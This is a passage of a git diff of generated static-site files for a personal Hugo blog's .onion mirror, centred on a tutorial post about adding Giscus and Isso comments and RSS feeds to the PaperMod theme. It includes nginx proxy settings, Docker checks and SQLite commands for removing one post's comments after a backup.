.isso-comment .isso-author{color:var(--text);font-weight:600}#isso-thread .isso-comment .isso-text,#isso-thread .isso-comment .text{line-height:1.65}#isso-thread .isso-comment .isso-text a,#isso-thread .isso-comment .text a{color:var(--accent);text-decoration:underline}#isso-thread .isso-comment blockquote{margin:.5rem 0;padding:.5rem .75rem;border-left:3px solid var(--accent);background:var(--hover);border-radius:8px}#isso-thread .isso-comment pre{background:var(--hover);border-radius:10px;padding:.6rem .75rem;overflow:auto}#isso-thread .isso-avatar img,#isso-thread .isso-avatar svg,#isso-thread .isso-avatar canvas{width:28px;height:28px;border-radius:999px}#isso-thread .isso-comment .isso-actions,#isso-thread .isso-comment .actions,#isso-thread .isso-comment .footer{display:flex;align-items:center;flex-wrap:wrap;gap:.5rem;margin-top:.5rem}#isso-thread .isso-comment .isso-actions a,#isso-thread .isso-comment .actions a,#isso-thread .isso-comment .footer a,#isso-thread .isso-comment a.reply,#isso-thread .isso-comment a.edit,#isso-thread .isso-comment a.delete,#isso-thread .isso-comment .isso-actions button,#isso-thread .isso-comment .actions button,#isso-thread .isso-comment .footer button,#isso-thread .isso-comment .isso-actions input,#isso-thread .isso-comment .actions input,#isso-thread .isso-comment .footer input{appearance:none;background:0 0;color:var(--accent);border:1px solid var(--accent);border-radius:10px;padding:.35rem .6rem;text-decoration:none;line-height:1;font:inherit;cursor:pointer}#isso-thread .isso-comment .isso-actions a:hover,#isso-thread .isso-comment .actions a:hover,#isso-thread .isso-comment .footer a:hover,#isso-thread .isso-comment .isso-actions button:hover,#isso-thread .isso-comment .actions button:hover,#isso-thread .isso-comment .footer button:hover{background:var(--accent-weak)}#isso-thread .isso-preview{display:none;padding:1rem;border:1px solid var(--border);border-radius:14px;box-shadow:var(--shadow);overflow:hidden}#isso-thread .isso-preview[style*=block],#isso-thread .isso-postbox.is-previewing .isso-preview{display:block}#isso-thread .isso-preview>.isso-comment{background:0 0;border:0;box-shadow:none;padding:0;margin:0}#isso-thread .isso-follow-up{margin-left:2.25rem}@media(max-width:520px){#isso-thread .isso-follow-up{margin-left:1rem}}#isso-thread .isso-delete{margin-left:5px}#isso-thread .isso-permalink{margin-left:5px;margin-right:5px}#isso-thread .isso-note{margin-left:auto;margin-right:5px}#isso-thread .post-meta-item{margin-left:15px}.rss-link{display:inline-flex;align-items:center;gap:.35rem}.rss-link svg{margin-left:10px;width:18px;height:18px}.rss-link span{font-size:.65rem} \ No newline at end of file diff --git a/public-onion/categories/blog/index.html b/public-onion/categories/blog/index.html new file mode 100644 index 0000000..9bf6df1 --- /dev/null +++ b/public-onion/categories/blog/index.html @@ -0,0 +1,356 @@ + + + + + + + +Blog | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) +

    +
    +
    +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

    +
    +
    October 23, 2025 · 15 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/categories/blog/index.xml b/public-onion/categories/blog/index.xml new file mode 100644 index 0000000..89c6df3 --- /dev/null +++ b/public-onion/categories/blog/index.xml @@ -0,0 +1,640 @@ + + + + Blog on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/blog/ + Recent content in Blog on AlipourIm journeys + Hugo -- 0.146.0 + en + Thu, 23 Oct 2025 19:31:12 +0200 + + + New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + Thu, 23 Oct 2025 19:31:12 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. + +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
    +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

    +
    +

    I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

    +
      +
    • I don’t want to get attacked by bots or random people for no reason.
    • +
    • I don’t want to allow weird things to happen.
    • +
    • I don’t want to have a database for it.
    • +
    +

    So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

    +
    +

    What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

    +
    +

    What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

    +
    +

    Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

    +
    +

    Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

    +

    With the notice out of the way let’s dive right in!

    +
    +

    Why I chose Giscus (instead of Disqus)

    +
      +
    • No ads or trackers (my page weight thanks me).
    • +
    • Uses GitHub Discussions (portable, transparent, easy to search).
    • +
    • Readers log in with GitHub (no mystery auth popups).
    • +
    • In theory you can directly go to the repo’s discussion section and comment there!
    • +
    +
    +

    What you need (for your site, not per user)

    +
      +
    • A Hugo site using PaperMod
    • +
    • A GitHub account ✅
    • +
    • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
    • +
    • Giscus app installed on that repo ✅
    • +
    +

    If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

    +
    +

    1) Turn on comments with Giscus

    +

    PaperMod renders a comments.html partial when params.comments = true.
    +So we enable it in config and create the partial.

    +

    1.1 Enable comments globally

    +

    hugo.toml (snippet)

    +
    [params]
    +  comments = true
    +

    You can still opt out per post with comments = false in front matter.

    +

    1.2 Create the comments partial

    +

    Create this file in your site (not inside the theme):

    +
    layouts/partials/comments.html
    +

    Paste the Giscus embed (swap the placeholders with yours from giscus.app):

    +
    <section id="comments" class="giscus">
    +  <script
    +    src="https://giscus.app/client.js"
    +    data-repo="yourname/blog-comments"
    +    data-repo-id="YOUR_REPO_ID"
    +    data-category="Comments"
    +    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
    +    data-mapping="pathname"
    +    data-strict="0"
    +    data-reactions-enabled="1"
    +    data-emit-metadata="0"
    +    data-input-position="bottom"
    +    data-theme="preferred_color_scheme"
    +    data-lang="en"
    +    data-loading="lazy"
    +    crossorigin="anonymous"
    +    async>
    +  </script>
    +  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
    +</section>
    +

    Notes

    +
      +
    • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
    • +
    • data-mapping="pathname" works great for static sites.
    • +
    • Prefer a public repo so visitors can read discussions without friction.
    • +
    • Want a different language? Change data-lang (e.g., de, fr).
    • +
    +
    +

    2) Enable RSS (home + sections)

    +

    Hugo already knows how to generate feeds; we just tell it where.

    +

    hugo.toml

    +
    baseURL = "https://example.com/"  # set your production URL
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1   # -1 = no cap; or set e.g. 20
    +

    Feed URLs

    +
      +
    • Home feed: /index.xmlhttps://example.com/index.xml
    • +
    • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
    • +
    +
    +

    If you’re using a .onion address or staging domain, just set that in baseURL.
    +Locally, Hugo serves feeds at http://localhost:1313/index.xml.

    +
    +

    3) Show an RSS button on the home page

    +

    PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

    +

    Option A — Use the home “social icons” row

    +

    This appears if you enable Home-Info or Profile mode:

    +
    [params.homeInfoParams]
    +  Title = "Hello, internet!"
    +  Content = "Notes, experiments, and occasional rabbit holes."
    +
    +[[params.socialIcons]]
    +  name = "rss"        # lowercase matters
    +  url  = "/index.xml"
    +
    +

    Create:

    +
    layouts/partials/extend_footer.html
    +

    Paste:

    +
    <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
    +  {{ partial "svg.html" (dict "name" "rss") }}
    +  <span>RSS</span>
    +</a>
    +

    Make it a sensible size:

    +

    Create:

    +
    assets/css/extended/rss.css
    +

    Paste:

    +
    /* Small & aligned RSS icon in the footer */
    +.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
    +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
    +.rss-link span { font-size: .95rem; }
    +

    PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

    +
    +

    4) Verify everything

    +

    Build or run dev:

    +
    hugo           # outputs to ./public
    +# or
    +hugo server    # serves at http://localhost:1313
    +

    Check feeds:

    +
    # Home feed:
    +curl -s http://localhost:1313/index.xml | head
    +
    +# A section feed (adjust path to your section name):
    +curl -s http://localhost:1313/posts/index.xml | head
    +

    Check comments:

    +
      +
    1. Open any post locally.
    2. +
    3. Scroll to the bottom — Giscus should appear.
    4. +
    5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
    6. +
    +
    +

    5) Per-post controls (handy later)

    +

    Turn comments off for a single post:

    +
    # in that post’s front matter
    +comments = false
    +

    Full content in RSS (global):

    +
    [params]
    +  ShowFullTextinRSS = true
    +

    Show RSS buttons on section/taxonomy lists:

    +
    [params]
    +  ShowRssButtonInSectionTermList = true
    +

    +

    6) Troubleshooting (aka “what I bumped into”)

    +
      +
    • +

      Home page has no RSS icon
      +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

      +
    • +
    • +

      Section feed 404
      +Folder names are lowercase (content/posts/, not content/Posts/).
      +The URL mirrors that: /posts/index.xml.

      +
    • +
    • +

      Giscus doesn’t create a discussion
      +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
      +Make sure Discussions is enabled and the Giscus app is installed for the repo.

      +
    • +
    • +

      Icon is comically large
      +Keep the CSS above; 16–20px usually looks right.

      +
    • +
    +
    +

    7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

    +
    # Create the public comments repo (adjust names)
    +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
    +
    +# Enable Discussions for it
    +gh repo edit yourname/blog-comments --enable-discussions
    +

    Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

    +
    +

    Final config snapshot (condensed)

    +
    baseURL = "https://example.com/"
    +theme = "PaperMod"
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1
    +
    +[params]
    +  comments = true
    +  ShowRssButtonInSectionTermList = true
    +  ShowFullTextinRSS = true
    +
    +# Optional if using Home-Info/Profile mode:
    +# [[params.socialIcons]]
    +#   name = "rss"
    +#   url  = "/index.xml"
    +

    +

    Appendix — Why I added Isso, how I wired it, and what I fixed

    +

    The story (why Isso + why I still keep Giscus)

    +

    I wanted comments that:

    +
      +
    • allow anonymous replies (no GitHub account required),
    • +
    • are lightweight and self-hosted, and
    • +
    • can work on my Tor .onion mirror.
    • +
    +

    Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

    +

    Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

    +

    How I run it (high-level)

    +
      +
    • Site: Hugo + PaperMod
    • +
    • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
    • +
    • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
    • +
    • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
    • +
    +
    +

    I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

    +

    Hugo partial: switcher + embeds

    +

    Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

    +
    <!-- comments.html -->
    +<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
    +  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
    +  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
    +  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
    +</div>
    +
    +<!-- Isso panel (default) -->
    +<div id="panel-isso">
    +  <section id="isso-thread"></section>
    +  <script
    +    src="/isso/js/embed.min.js"
    +    data-isso="/isso"
    +    data-isso-css="true"
    +    data-isso-lang="en"
    +    data-isso-max-comments-nested="5"
    +    data-isso-sorting="newest"
    +    async>
    +  </script>
    +  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    +    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
    +  </small>
    +</div>
    +
    +<!-- Giscus panel (lazy-loaded on click) -->
    +<div id="panel-giscus" style="display:none">
    +  <section id="giscus-thread"></section>
    +</div>
    +
    +<script>
    +(function () {
    +  const panelIsso = document.getElementById('panel-isso');
    +  const panelGisc = document.getElementById('panel-giscus');
    +  const issoBtn = document.getElementById('btn-isso');
    +  const giscBtn = document.getElementById('btn-giscus');
    +  let gLoaded = false;
    +
    +  function isDark() {
    +    // 1) explicit PaperMod preference
    +    const pref = localStorage.getItem('pref-theme');
    +    if (pref === 'dark')  return true;
    +    if (pref === 'light') return false;
    +
    +    // 2) page state (classes / data-theme)
    +    const H = document.documentElement, B = document.body;
    +    const hasDark =
    +      H.classList.contains('dark') || B.classList.contains('dark') ||
    +      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
    +      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    +    if (hasDark) return true;
    +
    +    // 3) OS preference
    +    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    +  }
    +  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
    +
    +  function loadGiscus() {
    +    if (gLoaded) return;
    +    const s = document.createElement('script');
    +    s.src = 'https://giscus.app/client.js';
    +    s.async = true;
    +    s.crossOrigin = 'anonymous';
    +    s.setAttribute('data-repo','AlipourIm/blog-comments');
    +    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    +    s.setAttribute('data-category','Comments');
    +    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    +    s.setAttribute('data-mapping','pathname');
    +    s.setAttribute('data-strict','0');
    +    s.setAttribute('data-reactions-enabled','1');
    +    s.setAttribute('data-emit-metadata','0');
    +    s.setAttribute('data-input-position','bottom');
    +    s.setAttribute('data-lang','en');
    +    s.setAttribute('data-theme', gTheme());  // initial theme
    +    document.getElementById('giscus-thread').appendChild(s);
    +
    +    // Retheme once iframe exists
    +    const reTheme = () => {
    +      const iframe = document.querySelector('iframe.giscus-frame');
    +      if (!iframe) return;
    +      iframe.contentWindow?.postMessage(
    +        { giscus: { setConfig: { theme: gTheme() } } },
    +        'https://giscus.app'
    +      );
    +    };
    +
    +    // PaperMod toggle button
    +    document.getElementById('theme-toggle')?.addEventListener('click', () =>
    +      setTimeout(reTheme, 0)
    +    );
    +
    +    // Also react to attribute changes
    +    const mo = new MutationObserver(reTheme);
    +    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    +    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
    +
    +    gLoaded = true;
    +  }
    +
    +  function show(which) {
    +    const showIsso = which === 'isso';
    +    panelIsso.style.display = showIsso ? 'block' : 'none';
    +    panelGisc.style.display = showIsso ? 'none'  : 'block';
    +    issoBtn?.setAttribute('aria-pressed', showIsso);
    +    giscBtn?.setAttribute('aria-pressed', !showIsso);
    +    if (!showIsso) loadGiscus();
    +  }
    +
    +  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
    +  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
    +
    +  // default
    +  show('isso');
    +})();
    +</script>
    +

    Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

    +

    The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

    +

    Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

    +
    # /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
    +server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
    +
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +
    +    # /isso -> /isso/
    +    location = /isso { return 301 /isso/; }
    +
    +    # IMPORTANT: this must beat regex locations below
    +    location ^~ /isso/ {
    +        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
    +        proxy_http_version 1.1;
    +        proxy_set_header Host $host;
    +        proxy_set_header X-Forwarded-Host $host;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +        proxy_redirect off;
    +        proxy_read_timeout 60s;
    +    }
    +
    +    # static
    +    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Reload and smoke test:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
    +
    +

    If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

    +

    Small CSS tweaks (one color across light/dark + spacing)

    +

    I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

    +
    /* put this in your site CSS */
    +:root { --btn-blue: #2563eb; } /* adjust to taste */
    +
    +/* Isso form buttons */
    +.isso-post-action input[type="submit"],
    +.isso-post-action input[name="preview"] {
    +  background: var(--btn-blue) !important;
    +  color: #fff !important;
    +  border: none;
    +  padding: .5rem .75rem;
    +  border-radius: .4rem;
    +  cursor: pointer;
    +}
    +
    +/* link actions under comments */
    +.isso-comment-footer a {
    +  color: var(--btn-blue) !important;
    +  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
    +  text-decoration: none;
    +}
    +.isso-comment-footer a:hover { text-decoration: underline; }
    +
    +/* keep name/email/website stacked, slightly larger */
    +.isso-auth-section .isso-input-wrapper {
    +  display: block;
    +  margin: .35rem 0;
    +}
    +.isso-auth-section label { font-size: .95rem; }
    +.isso-auth-section input[type="text"],
    +.isso-auth-section input[type="email"],
    +.isso-auth-section input[type="url"] {
    +  width: 100%;
    +  font-size: 1rem;
    +  padding: .5rem .6rem;
    +}
    +

    What changed (the fixes I actually made)

    +
      +
    1. +

      Theme correctness for Giscus.
      +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

      +
        +
      • read localStorage.pref-theme first,
      • +
      • fall back to class/data-theme, then
      • +
      • fall back to OS preference.
        +I also re-theme the Giscus iframe on every toggle via postMessage.
      • +
      +
    2. +
    3. +

      Isso over Tor.
      +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

      +
    4. +
    5. +

      UI polish.

      +
        +
      • Unified button/link color across themes,
      • +
      • ensured “edit”/“delete” aren’t touching,
      • +
      • kept the author/email/website inputs stacked, and
      • +
      • left Submit/Preview styled and grouped.
      • +
      +
    6. +
    +

    Sanity check

    +
      +
    • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
    • +
    • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
    • +
    • Switcher buttons swap panels instantly; Giscus only loads when clicked.
    • +
    +

    8) Final notes!

    +

    I could not fully fix the style of Isso. +CSS is not easy… drat!

    +

    I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

    +

    Admin note — Delete all Isso comments for a single post

    +

    This note is for future me: how to remove every comment tied to one post in Isso.
    +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

    +
    +

    TL;DR (host with SQLite)

    +
    +

    Replace the placeholders for DB and POST_URI first.

    +
    # 0) Variables — edit these two lines for your setup
    +DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
    +POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
    +
    +# 1) Backup (always do this!)
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +
    +# 2) Inspect: find the thread row and preview the comments
    +sqlite3 "$DB" "
    +.headers on
    +.mode column
    +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +SELECT id, tid, created, author, text
    +FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
    +ORDER BY created DESC
    +LIMIT 25;
    +"
    +
    +# 3) Delete all comments for that post (thread)
    +sqlite3 "$DB" "
    +DELETE FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
    +"
    +
    +# 4) (Optional) Remove the now-empty thread row too
    +sqlite3 "$DB" "
    +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +VACUUM;
    +"
    +
    +# 5) Done. Isso usually picks this up automatically.
    +#    If you're containerized and want to be safe:
    +# docker restart <isso_container_name>
    +

    +

    If running Isso in Docker

    +

    Open a shell in the container, then run the same steps:

    +
    docker exec -it <isso_container_name> /bin/sh
    +
    +# Inside the container:
    +DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
    +POST_URI="/posts/skin_routine/"
    +
    +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +exit
    +
    +# Optionally restart the container:
    +docker restart <isso_container_name>
    +

    +

    Notes & gotchas

    +
      +
    • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
      [general]
      +dbpath = /var/lib/isso/comments.db
      +
    • +
    • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
      sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
      +
    • +
    • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
    • +
    • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
    • +
    • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
    • +
    • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
    • +
    +
    +

    One-liners for the impatient

    +
    DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +

    +

    Isso container: quick checks & fixes for future me! (thank past me later ^^)

    +

    Find the container

    +
    docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
    +

    Inspect basic state

    +
    docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
    +

    Logs

    +
    docker logs --tail=200 isso
    +docker logs -f isso
    +

    Ports & reachability

    +
    docker port isso
    +sudo ss -ltnp | grep ':8080 '
    +curl -i http://127.0.0.1:8080/
    +

    Restart policy (keep it running)

    +
    docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
    +docker update --restart unless-stopped isso
    +

    Start/stop the container

    +
    docker start isso
    +docker stop isso
    +

    Who/what stopped it (events)

    +
    docker events --since 24h --filter container=isso
    +

    Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

    +
    nl -ba /config/isso.cfg | sed -n '1,120p'
    +grep -n '^\[server\]' /config/isso.cfg
    +grep -n '^public-endpoint' /config/isso.cfg
    +

    Using Docker Compose (run these in the directory with your compose file)

    +
    docker compose ps
    +docker compose logs --tail=200 isso
    +docker compose up -d isso
    +

    If the container doesn’t exist (create/recreate)

    +
    docker image ls | grep -i isso
    +
    +docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
    +

    Optional: exclude from auto-updaters (like Watchtower)

    +
    docker update --label-add com.centurylinklabs.watchtower.enable=false isso
    +

    This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
    +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
    +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
    +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
    +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
    +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
    +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
    +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
    +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
    +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
    +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
    +=9k+S
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md.asc
    +gpg --verify new_features.md.asc new_features.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/categories/blog/page/1/index.html b/public-onion/categories/blog/page/1/index.html new file mode 100644 index 0000000..12ccd94 --- /dev/null +++ b/public-onion/categories/blog/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/blog/ + + + + + + diff --git a/public-onion/categories/ctf/index.html b/public-onion/categories/ctf/index.html new file mode 100644 index 0000000..0ff9cee --- /dev/null +++ b/public-onion/categories/ctf/index.html @@ -0,0 +1,352 @@ + + + + + + + +CTF | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

